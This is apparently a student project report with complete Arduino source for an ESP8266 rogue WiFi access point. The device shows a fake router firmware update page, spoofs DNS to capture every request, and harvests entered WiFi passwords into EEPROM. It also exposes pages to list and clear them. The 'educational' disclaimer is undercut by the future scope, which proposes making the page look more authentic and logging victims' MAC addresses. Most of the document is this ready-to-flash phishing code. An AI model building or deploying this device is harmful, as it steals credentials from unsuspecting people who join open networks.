**Project Name** :- **Free WiFi Router Firmware Phishing using ESP8266**

**Project Report: Free WiFi Router Firmware Phishing using ESP8266**

**Abstract:-**

This project demonstrates a WiFi phishing technique using an ESP8266 module. The device acts as a fake access point (AP) with a web server that mimics a router firmware update page, capturing entered WiFi passwords. This project is designed for educational purposes to showcase potential security risks and raise awareness of network security best practices.

**Introduction:-**

**Background:-**

WiFi networks have become an essential part of modern life, providing convenient access to the internet. However, this convenience also introduces security risks. Unauthorized users may create rogue access points to trick unsuspecting users into providing sensitive information. This project uses an ESP8266 module to demonstrate how a rogue access point can be used to capture WiFi passwords.

**Purpose:-**

The purpose of this project is to demonstrate the risks associated with unsecured WiFi networks and raise awareness of network security practices. It also provides an opportunity to learn about the capabilities of the ESP8266 and how it can be used to create custom web servers.

**Objectives:-**

* Create a rogue WiFi access point using ESP8266.
* Develop a web interface that mimics a router firmware update page.
* Capture WiFi passwords entered by users.
* Store captured passwords in EEPROM for persistence.
* Provide options to view, clear, and change the SSID of the access point.

**System Requirements:-**

**Hardware:-**

* ESP8266 (NodeMCU) Module
* Micro USB Cable
* Power Supply (5V)

**Software:-**

* Arduino IDE with ESP8266 library
* Required Libraries: <ESP8266WiFi.h>, <DNSServer.h>, <ESP8266WebServer.h>, <EEPROM.h>

**Working Principle:-**

The project works by creating an open WiFi network named "Free WiFi" using the ESP8266. When users connect to this network, they are automatically redirected to a fake "Router Firmware Update" page. This page prompts users to enter their WiFi password, which is then stored in the EEPROM of the ESP8266. The device provides options to view or clear stored passwords and change the SSID.

**Code Explanation:-**

**Setup:-**

* The ESP8266 is configured as an Access Point (AP) with a default SSID "Free WiFi."
* A web server is created with multiple endpoints to handle requests (SSID change, password view, clear).
* EEPROM is used to store the SSID and captured passwords, ensuring persistence even after a reboot.

**Web Interface:-**

* The main page displays a message prompting users to update their router firmware.
* The form captures WiFi passwords entered by users.
* A separate page displays all captured passwords.

**Circuit Diagram :-**

* ESP8266 powered via Micro USB.
* No external components required.

**Security Considerations:-**

* This project is for educational purposes only and must not be used for unauthorized data collection.
* The device should be secured and never used on public networks without authorization.
* The collected passwords are stored in plaintext, which is a security risk.

**Testing and Results:-**

* Successfully created an open WiFi network with the specified SSID.
* Connected devices were automatically redirected to the phishing page.
* Captured passwords were stored and displayed correctly.
* SSID change functioned as expected without requiring a reboot.

**Conclusion :-**

This project demonstrates how a rogue access point can be created using ESP8266 to collect user credentials. The project serves as a proof-of-concept for educational purposes and highlights the importance of secure network practices. Users should avoid connecting to untrusted WiFi networks and be aware of the risks associated with them.

**Future Scope:-**

* Implement secure password storage using encryption.
* Improve the web interface to look more like authentic router update pages.
* Add logging of connected device details (e.g., MAC addresses).
* Introduce multi-language support.

**References:-**

* ESP8266 Documentation
* Arduino IDE Documentation
* Network Security Best Practices

**Code :-**

// Libraries

#include <ESP8266WiFi.h> #include <DNSServer.h> #include <ESP8266WebServer.h> #include <EEPROM.h>

// Default SSID name

const char\* SSID\_NAME = "Free WiFi";

// Default main strings

#define SUBTITLE "Router info." #define TITLE "Update"

#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally."

#define POST\_TITLE "Updating..."

#define POST\_BODY "Your router is being updated. Please, wait until the proccess finishes.</br>Thank you."

#define PASS\_TITLE "Passwords" #define CLEAR\_TITLE "Cleared"

// Init system settings

const byte HTTP\_CODE = 200; const byte DNS\_PORT = 53; const byte TICK\_TIMER = 1000;

IPAddress APIP(192, 168, 1, 221); // Gateway

String allPass = "";

String newSSID = ""; String currentSSID = "";

// For storing passwords in EEPROM.

int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time. int passStart = 30; // Starting location in EEPROM to save password.

int passEnd = passStart; // Ending location in EEPROM to save password.

unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0; DNSServer dnsServer; ESP8266WebServer webServer(80);

String input(String argName) { String a = webServer.arg(argName);

a.replace("<","&lt;");a.replace(">","&gt;"); a.substring(0,200); return a; }

String footer() {

return "</div><div class=q><a>&#169; All rights reserved.</a></div>";

}

String header(String t) {

String a = String(currentSSID);

String CSS = "article { background: #f2f2f2; padding: 1.3em; }"

"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"

"div { padding: 0.5em; }"

"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"

"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"

"label { color: #333; display: block; font-style: italic; font-weight: bold; }"

"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "

"textarea { width: 100%; }";

String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>"

"<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style>"

"<meta charset=\"UTF-8\"></head>"

"<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; }

String index() {

return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+

"<input type=password name=m></input><input type=submit value=Start></form>" + footer();

}

String posted() {

String pass = input("m");

pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list. allPass += pass; // Updating the full passwords.

// Storing passwords to EEPROM. for (int i = 0; i <= pass.length(); ++i)

{

EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM.

}

passEnd += pass.length(); // Updating end position of passwords in EEPROM. EEPROM.write(passEnd, '\0');

EEPROM.commit();

return header(POST\_TITLE) + POST\_BODY + footer();

}

String pass() {

return header(PASS\_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();

}

String ssid() {

return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button

\"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+

"<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer();

}

String postedSSID() {

String postedSSID = input("s"); newSSID="<li><b>" + postedSSID + "</b></li>"; for (int i = 0; i < postedSSID.length(); ++i) {

EEPROM.write(i, postedSSID[i]);

}

EEPROM.write(postedSSID.length(), '\0'); EEPROM.commit(); WiFi.softAP(postedSSID);

}

String clear() { allPass = "";

passEnd = passStart; // Setting the password end location -> starting position. EEPROM.write(passEnd, '\0');

EEPROM.commit();

return header(CLEAR\_TITLE) + "<div><p>The password list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();

}

void BLINK() { // The built-in LED will blink 5 times after a password is posted. for (int counter = 0; counter < 10; counter++)

{

// For blinking the LED. digitalWrite(BUILTIN\_LED, counter % 2); delay(500);

}

}

void setup() {

// Serial begin Serial.begin(115200);

bootTime = lastActivity = millis(); EEPROM.begin(512);

delay(10);

// Check whether the ESP is running for the first time.

String checkValue = "first"; // This will will be set in EEPROM after the first run.

for (int i = 0; i < checkValue.length(); ++i)

{

if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])

{

// Add "first" in initialCheckLocation.

for (int i = 0; i < checkValue.length(); ++i)

{

EEPROM.write(i + initialCheckLocation, checkValue[i]);

}

EEPROM.write(0, '\0'); // Clear SSID location in EEPROM. EEPROM.write(passStart, '\0'); // Clear password location in EEPROM EEPROM.commit();

break;

}

}

// Read EEPROM SSID String ESSID;

int i = 0;

while (EEPROM.read(i) != '\0') { ESSID += char(EEPROM.read(i)); i++;

}

// Reading stored password and end location of passwords in the EEPROM. while (EEPROM.read(passEnd) != '\0')

{

allPass += char(EEPROM.read(passEnd)); // Reading the store password in EEPROM. passEnd++; // Updating the end location of password in EEPROM.

}

WiFi.mode(WIFI\_AP);

WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));

// Setting currentSSID -> SSID in EEPROM or default one. currentSSID = ESSID.length() > 1 ? ESSID.c\_str() : SSID\_NAME;

Serial.print("Current SSID: "); Serial.print(currentSSID); WiFi.softAP(currentSSID);

// Start webserver

dnsServer.start(DNS\_PORT, "\*", APIP); // DNS spoofing (Only for HTTP) webServer.on("/post",[]() { webServer.send(HTTP\_CODE, "text/html", posted()); BLINK(); });

webServer.on("/ssid",[]() { webServer.send(HTTP\_CODE, "text/html", ssid()); }); webServer.on("/postSSID",[]() { webServer.send(HTTP\_CODE, "text/html", postedSSID()); });

webServer.on("/pass",[]() { webServer.send(HTTP\_CODE, "text/html", pass()); });

webServer.on("/clear",[]() { webServer.send(HTTP\_CODE, "text/html", clear()); });

webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP\_CODE, "text/html", index()); });

webServer.begin();

// Enable the built-in LED pinMode(BUILTIN\_LED, OUTPUT);

digitalWrite(BUILTIN\_LED, HIGH);

}

void loop() {

if ((millis() - lastTick) > TICK\_TIMER) {lastTick = millis();} dnsServer.processNextRequest(); webServer.handleClient(); }

**Links of code use :-**

//http://192.168.1.221/ssid

//http://192.168.1.221/pass

//http://192.168.1.221/clear

**OUTPUT:-**

